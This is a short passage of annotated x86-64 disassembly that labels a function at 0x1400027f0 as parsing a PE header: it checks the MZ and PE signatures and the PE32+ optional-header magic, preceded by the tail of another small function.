movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400027f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000b8a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000280f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002818
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret